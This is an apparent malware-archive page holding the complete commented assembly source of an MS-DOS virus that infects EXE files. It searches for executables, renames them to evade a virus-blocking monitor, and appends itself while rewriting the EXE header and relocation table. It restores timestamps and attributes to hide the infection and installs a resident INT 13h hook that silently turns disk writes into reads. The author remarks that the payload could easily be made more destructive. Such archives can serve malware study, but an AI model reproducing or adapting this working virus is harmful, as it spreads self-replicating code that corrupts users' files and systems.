MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vcomm.asm
2021-01-12 18:04:54 -06:00

724 lines
29 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;--------------------------------------------------------------------;
; ;
; EXE virus, with resident part ;
; ;
; ---- infecting program ---- ;
; ;
;--------------------------------------------------------------------;
;--------------------------------------------------------------------;
; ;
; WARNING : it's definitely NOT safe to assemble and execute ;
; this code. If anybody has to, I highly reccomend using ;
; a diskette and debugger. ;
; ;
;--------------------------------------------------------------------;
;*********************************************************************
;--------------------------------------------------------------------;
; ;
; The EXE virus concept is as follows: ;
; ;
; First, original Disk Transfer Address is preserved to avoid ;
; changing command-line text. Also initial values of CS, IP, SS, SP ;
; DS and ES are saved (to be restored on exit from virus code). ;
; Virus is to be appended to original code and, of course, has ;
; to be relocated before it's executed. Thus, first we look for ;
; an EXE file. Then we have to know if this is in fact an EXE ;
; (checking for magic 'MZ' signature) and if there is any free space ;
; in relocation table. This is checked by substracting relocation ;
; table end (i.e. sum of table start and number of relocation items, ;
; multiplied by table entry size) from EXE header size. ;
; Smart virus shouldn't infect a file that's already infected. ;
; So first 4 bytes of code to be executed is compared against ;
; virus code. If they match one another, no infection takes place. ;
; Having found suitable file, we compute its code end and append ;
; virus at the end of code, writing alignment to last 512-bytes page ;
; boundary if necessary. Original start address is preserved inside ;
; virus, and CS:IP value in EXE header gets changed, so that virus ;
; code would be executed first. Number of pages gets changed, ;
; together with Last Page Size and Number Of Relocation Items. ;
; New relocation item address is appended to relocation table, ;
; pointing to the segment of the far jump in virus (this is the jump ;
; virus uses to return to original code). ;
; Upon returning from virus, all saved registers and DTA are ;
; restored to reestablish environment state as if no virus existed. ;
; ;
; Virus also installs resident part, if it is not already present. ;
; This part's job is to replace all disk 'writes' with corresponding ;
; 'reads'. It's rather unharmful, but can easily be replaced with ;
; more dangerous one (if somebody is really keen to be called ...). ;
; Instalation can be removed with equal ease, as well. ;
; ;
; The real trouble with EXEs is that DOS pays a little (if any) ;
; attention to Last Page Size. Therefore EXE files ofen have this ;
; zeroed, even if they have some code on the last page. Writing to ;
; last page can cause system crash while infected file is being ;
; executed. To solve the problem, one should first test if EXE file ;
; really ends as the header contents say and move to last page end ;
; instead of appending any bytes, if possible. ;
; ;
; Another problem is infecting EXEs containg debug info. ;
; It comes in various formats, and often contains vital informations ;
; placed behind code. This info gets destroyed when file becomes ;
; infected. I see no solution to this problem, so far. ;
; ;
;--------------------------------------------------------------------;
;********************************************************************;
;--------------------------------------------------------------------;
; ;
; SEGMENT dummy ;
; ;
; Raison d'etre of this segment is to force assembling of ;
; the JMP FAR after the execution of virus code. ;
; ;
; This segment serves also to make it possible for the infecting ;
; program to return to DOS. ;
; ;
;--------------------------------------------------------------------;
dummy segment 'dummy'
assume cs: dummy
d_end label far ; this is the point virus jumps to
; after executing itself
mov ah, 4Ch
int 21h ; DOS EXIT function
dummy ends
;--------------------------------------------------------------------;
; ;
; SEGMENT code ;
; ;
; Code for virus (including its resident part). ;
; ;
; Executed from label start:. Exits via dummy:d_end. ;
; ;
;--------------------------------------------------------------------;
code segment 'code'
public start, jump, old_IP, old_CS, old_DTA,
public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
public last_page, page_count, item_count, header_size, table_start
public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
public not_ok, time, date, attributes, new_name, found_name
public restore_and_close, dot, seek_dot, next_letter, install_flag
public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
public resident, resident_size, l1, call_int, install, set_DS
assume cs : code, ds : code
;--------------------------------------------------------------------;
; ;
; Here are symbolic names for memory locations ;
; ;
;--------------------------------------------------------------------;
; First go names for EXE header contents
EXE_sign equ word ptr [header]
last_page equ word ptr [header + 2]
page_count equ word ptr [header + 4]
item_count equ word ptr [header + 6]
header_size equ word ptr [header + 8]
header_SS equ word ptr [header + 0Eh]
header_SP equ word ptr [header + 10h]
header_IP equ word ptr [header + 14h]
header_CS equ word ptr [header + 16h]
table_start equ word ptr [header + 18h]
; Now names for address of mother program
old_IP equ word ptr [jump + 1]
old_CS equ word ptr [jump + 3]
; Segment to put resident part in, for instance end of 2nd Hercules page
resident_CS equ 0BFFEh
; And label for the name of the file found by Find_First and Find_Next
found_name equ DTA + 1Eh
; Last is virus length
virus_length equ offset header
;------------ Now starts virus code --------------------------------;
; First original values of SS, SP, ES, DS are preserved,
; and new values for this registers are set
start: mov cx, ss ; temporarily save SS in CX
mov dx, sp ; and SP in DX
mov ax, cs ; now AX = CODE
cli ; disable hard ints while changing stack
mov ss, ax ; now SS = CODE
mov sp, 0FFFFh ; and SS points to segment end
sti ; hardware interrupts are OK now
push ds ; preserve DS on stack
push es ; same with ES
push cs
pop ds ; set DS to CODE
mov [old_SS], cx ; now as DS is CODE, we can store
mov [old_SP], dx ; original SS and SP in memory
; Original DTA is preserved now
mov ah, 2Fh
int 21h
mov word ptr [old_DTA], bx ; now ES:BX points to DTA
mov word ptr [old_DTA + 2], es ; save its address in memory
; Call to Get_DTA would have destroyed ES. Now set it
push ds ; set ES to CODE
pop es
; And now new DTA is established for virus disk actions
mov dx, offset DTA ; DS:DX point to new DTA
mov ah, 1Ah
int 21h
; Store original INT_13 vector for use in resident part
mov ax, 3513h
int 21h ; DOS Get_Interrupt_Vector function
mov [int_IP], bx ; now ES:BX holds INT_13 vector
mov [int_CS], es ; store it inside resident part
; Check if resident part already present
mov ax, es ; compare can work with AX
cmp ax, resident_CS ; check if this is resident_CS
jnz install ; no, so install
cmp bx, 0 ; is offset 0 ?
jnz install ; no, so install
; Resident part found, do not install
mov [install_flag], 0 ; signal 'no installing'
jmp short set_ES ; and omit copying code
; Now resident part is moved to its place in memory
install: mov ax, resident_CS
mov es, ax ; ES = segment for resident part
xor di, di ; DI = 0, resident starts from offset 0
mov si, offset resident ; SI = offset in DS for resident part
mov cx, resident_size ; CX = size of resident part
cld ; set auto increment
rep movsb ; copy resident part from DS:SI to ES:DI
mov [install_flag], 1 ; signal 'instal vector'
; Reestablish destroyed ES to CODE
set_ES: push ds
pop es
; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
mov si, offset file_name ; name pattern starts there
mov cx, 5 ; and is 5 bytes long
next_letter: inc byte ptr [si] ; decode by incrementing by one
inc si
loop next_letter ; decode all 5 bytes
; Find an EXE file
mov dx, offset file_name ; DS:DX points to '*.EXE'
mov cx, 20h ; search for read-only files too
mov ah, 4Eh ; DOS Find_First function
int 21h ; now DTA gets filled with info
jnc check ; no carry means file found
; jump to check if to infect file
jmp exit ; no EXE file - nothing to do
; Find next EXE file, if necessary
next: mov ah, 4Fh ;DOS Find_Next function
int 21h
jnc check ; see jumps after Find_First
jmp exit ; for explanation
; Check if file should and can be infected
; First of all, get file attributes
check: mov dx, offset found_name ; DS:DX points to found file name
mov ax, 4300h ; DOS Get_File_Attributes function
int 21h ; attributes returned in CX
mov [attributes], cx ; preserve them in memory
; Then change file attributes to 'neutral'
mov dx, offset found_name ; DS:DX points to found file name
xor cx, cx ; CX = 0 - means no attributes set
mov ax, 4301h ; DOS Set_File_Attributes function
int 21h ; attributes to be set in CX
; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
mov si, offset found_name ; DS:DX points to found file name
mov di, offset new_name ; ES:DI points to new name
cld ; set auto increment
; Copy old name to new name until dot found
seek_dot: lodsb ; get character at DS:SI
cmp al, '.' ; check if it is a dot
stosb ; copy it anyway to ES:DI
jz dot ; dot found, end of copying
loop seek_dot ; if no dot, copy next character
; DOS requires ASCIIZ strings, so append a byte of 0 to new name
dot: xor al, al ; AL = 0
stosb ; store 0 to byte at ES:DI
; Now rename can be performed
mov dx, offset found_name ; DS:DX points to old name
mov di, offset new_name ; ES:DI points to new name
mov ah, 56h ; DOS Rename_File function
int 21h
; It is safe to open file now
mov dx, offset new_name ; DS:DX points to file name
mov ax, 3D02h ; DOS Open_File_Handle fuction
int 21h ; open file for reading and writing
jc next ; carry set means for some reason
; operation failed
; try to find next file
; Preserve handle for just open file in BX register
mov bx, ax ; all DOS calls require handle in BX
; Now store original file time and date, to be restored on closing the file
mov ax, 5700h ; DOS Get_File_Time_Date function
int 21h ; time returned in CX, date in DX
mov [time], cx ; store time in memory
mov [date], dx ; same with date
; Read EXE header to memory
mov dx, offset header ; DS:DX = place to read header to
mov cx, 1Ah ; header is 1Ah bytes long
mov ah, 3Fh ; DOS Read_Handle function
int 21h
; Check if it is a real EXE, not just EXE-named file
check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should
; contain 'MZ' characters
jne not_ok ; if not, don't proceed with file
; It is EXE, check if it is already infected
; by comparing code start with itself
; Compute where code in file starts
mov ax, [header_CS] ; get start CS for file
add ax, [header_size] ; add header size
mov cx, 16 ; above were in 16 bytes units
mul cx ; so multiply by 16
; DX|AX holds result
add ax, [header_IP] ; add for IP
adc dx, 0 ; propagate carry if necessasry
; Now DX|AX holds file offset for code start, move there
mov cx, dx ; set registers for DOS call
mov dx, ax
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Read first four bytes of code
mov dx, offset aux ; DS:DX = place to read code into
mov cx, 4 ; CX = number of bytes to read
mov ah, 3Fh ; DOS Read_Handle function
int 21h
; Compare them with itself
mov di, offset aux ; ES:DI points to code from file
mov si, offset start ; DS:SI points to itself start
mov cx, 2 ; CX = number of words to compare
cld ; set auto increment
repe cmpsw ; compare while equal
je not_ok ; equal = infected, don't proceed
; Check if there is space in relocation table to put one more item
; Calculate where Relocation_Table ends
mov ax, [item_count] ; get number of Relocation Items
inc ax ; add for new one
mov cx, 4 ; each one is 4 bytes long
mul cx ; so multiply by 4
; DX|AX holds result
add ax, [table_start] ; add offset of Relocation_Table
adc dx, 0 ; process carry
; Now DX|AX holds file offset for table end, store it temporarily in DI|SI
mov di, dx ; preserve Relocation_Table offset
mov si, ax
; Calculate where code starts (in file)
mov ax, [header_size] ; get header size for this EXE
mov cx, 10h ; as it is in 16 byte units,
mul cx ; multiply by 16
; DX|AX holds result
; See if there is free space for relocation item
sub ax, si ; substract Relocation_Table end
sbb dx, di
jae ok ; Relocation_Table end not less
; then code start, so there IS room
; If somehow this file is not to be infected, restore it's original state
not_ok: call restore_and_close
jmp next ; nevertheless, try to find infectable one
; File is to be infected now
; First adjust file offset for new relocation item
ok: sub si, 4 ; new item starts 4 bytes
sbb di, 0 ; before Relocation_Table end
; Then preserve temporarily address of the mother code
mov ax, [old_CS] ; preserve jump address via AX
mov [aux_CS], ax ; in memory
mov ax, [old_IP]
mov [aux_IP], ax
; Form inside itself a jump to new mother start
mov ax, [header_IP] ; store new mother CS:IP as jump
mov [old_IP], ax ; do it via AX
mov ax, [header_CS]
mov [old_CS], ax
; Calculate last page alignment
mov cx, [last_page] ; CX = number of bytes in last page
mov ax, 200h ; AX = page size (page is 512 bytes)
sub ax, cx ; CX = alignment to page boundary
mov bp, ax ; preserve alignment in BP
; Calculate new CS:IP values to execute virus instead of mother
mov ax, [page_count] ; get number of pages in new mother
mov cx, 20h ; multiply by 32 to convert to
mul cx ; 16 bytes units
sub ax, [header_size] ; decrease by header size
; Modify header as necessary
mov [header_CS], ax ; AX holds CS for virus
xor ax, ax ; now zero AX
mov [header_IP], ax ; as IP for virus is 0
add [page_count], 2 ; reserve space for virus
inc [item_count] ; there'll be one more item
mov [last_page], offset header ; last page will be as long
; as virus itself
and [last_page], 1FFh ; modulo 512, of course
; Move to file start
xor cx, cx ; start means offset 0
xor dx, dx
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write new header
mov dx, offset header ; DS:DX points to new header
mov cx, 1Ah ; which is still 1A bytes long
mov ah, 40h ; DOS Write_Handle function
int 21h
; Move to new Relocation Item position
mov cx, di ; get stored position from DI|SI
mov dx, si
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write new relocation item
mov [header_IP], offset old_CS ; new Relocation Item offset
; is jump to new mother code
mov dx, offset header_IP ; DS:DX = new relocation item
mov cx, 4 ; exactly 4 bytes long
mov ah, 40h ; DOS Write_Handle function
int 21h
; Calculate file offset for new mother code end
mov ax, [header_CS] ; get mother code lenght
add ax, [header_size] ; add header size
mov cx, 10h ; it's in 16 bytes units
mul cx ; so multiply by 16
sub ax, bp ; last page is not full
sbb dx, 0 ; so move back appropirately
; Move file ptr to mother code end
mov cx, dx ; DX|AX = file offset to code end
mov dx, ax ; set CX|DX for DOS call
mov ax, 4200h ; DOS Move_File_Ptr function
int 21h ; move relatively to start
; Write alignement (no matter what, only number is important)
mov cx, bp ; get alignement amount
mov ah, 40h ; DOS Write_Handle function
int 21h ; write CX bytes
; Now prepare to append itself to EXE file
; First encode EXE name patter anew
mov si, offset file_name ; DS:SI points to name pattern
mov cx, 5 ; it is 5 characters long
next_lttr: dec byte ptr [si] ; encode by decrement
inc si
loop next_lttr ; encode all 5 characters
; All ready, append itself now
xor dx, dx ; DX = 0, start offset for virus code
mov cx, virus_length ; CX = number of bytes to write
mov ah, 40h ; DOS Write_Handle function
int 21h
; No further action involving file will be taken, so restore it's state
call restore_and_close ; restore date and time, close file
; Restore jump to this mother code
mov ax, [aux_CS] ; restore jump addres via AX
mov [old_CS], ax
mov ax, [aux_IP]
mov [old_IP], ax
; All done with infecting, prepare to execute mother
; Restore original DTA
push ds ; preserve DS (now DS = CODE)
exit: lds dx, old_DTA ; get original DTA address to DS:DX
mov ah, 1Ah ; DOS Set_DTA function
int 21h
; Check if install new INT_13 vector
cmp [install_flag], 0 ; 0 means no installing
jz set_DS ; omit installing
; Install resident part
mov ax, resident_CS ; load CS for resident to DS (via AX)
mov ds, ax
xor dx, dx ; DS:DX = address of resident part
mov ax, 2513h ; DOS Set_Interrupt_Vector function
int 21h ; set vector for INT_13
set_DS: pop ds ; restore DS to CODE
mov bx, [old_SS] ; BX = original SS
mov cx, [old_SP] ; CX = original SP
pop es ; restore original DS and ES
pop ds
cli ; disable hardware interrupts
mov sp, cx ; while restoring original SS:SP
mov ss, bx
sti ; enable hardware interrupts
; Virus has done all its job, now let mother do its own
jump: jmp dummy:d_end ; jump to original code
;----------- here is the one and only procedure -------------------;
restore_and_close proc near
; Restore original file time and date
mov cx, [time] ; get saved time
mov dx, [date] ; get saved date
mov ax, 5701h ; DOS Set_File_Time_Date function
int 21h ; time set as CX, date as DX
; Close file
mov ah, 3Eh ; DOS Close_File function
int 21h
; Restore original name
mov dx, offset new_name ; DS:DX points to new name
mov di, offset found_name ; ES:DI points to original name
mov ah, 56h ; DOS Rename_File function
int 21h
; Restore original file attributes
mov dx, offset found_name ; restore attributes
mov cx, [attributes]
mov ax, 4301h ; DOS Set_File_Attributes function
int 21h ; attributes set as CX
ret
restore_and_close endp
;------------ and here go the resident part of the virus -------------;
resident: pushf ; save flags
cmp ah, 3 ; is it Disk_Write_1 ?
jnz l1 ; no, check Disk_Write_2
mov ah, 2 ; yes, convert to Disk_Read_1
jmp short call_int ; and exit resident
l1: cmp ah, 0Bh ; is it Disk_Write_2 ?
jnz call_int ; no, exit resident
mov ah, 0Ah ; yes, convert to Disk_Read_2
call_int: popf ; restore flags
; Next 5 bytes form long jump to original INT_13 handler
db 0EAh ; means JMP FAR
int_IP dw 0 ; and here the address to jump to
int_CS dw 0
resident_size equ $ - resident
;-------- now data for virus, just encoded file name pattern -------;
file_name db ')-DWD', 0
;-------------------------------------------------------------------;
; ;
; Here VIRUS ends. The rest are purely placeholders ;
; ;
;-------------------------------------------------------------------;
;*******************************************************************;
header dw 13 dup (0)
old_SS dw 0
old_SP dw 0
aux_CS dw 0
aux_IP dw 0
old_DTA dd 0
time dw 0
date dw 0
attributes dw 0
install_flag db 0
new_name db 9 dup (0)
DTA dw 2Ch dup (0)
aux dw 2 dup (0)
code ends
end start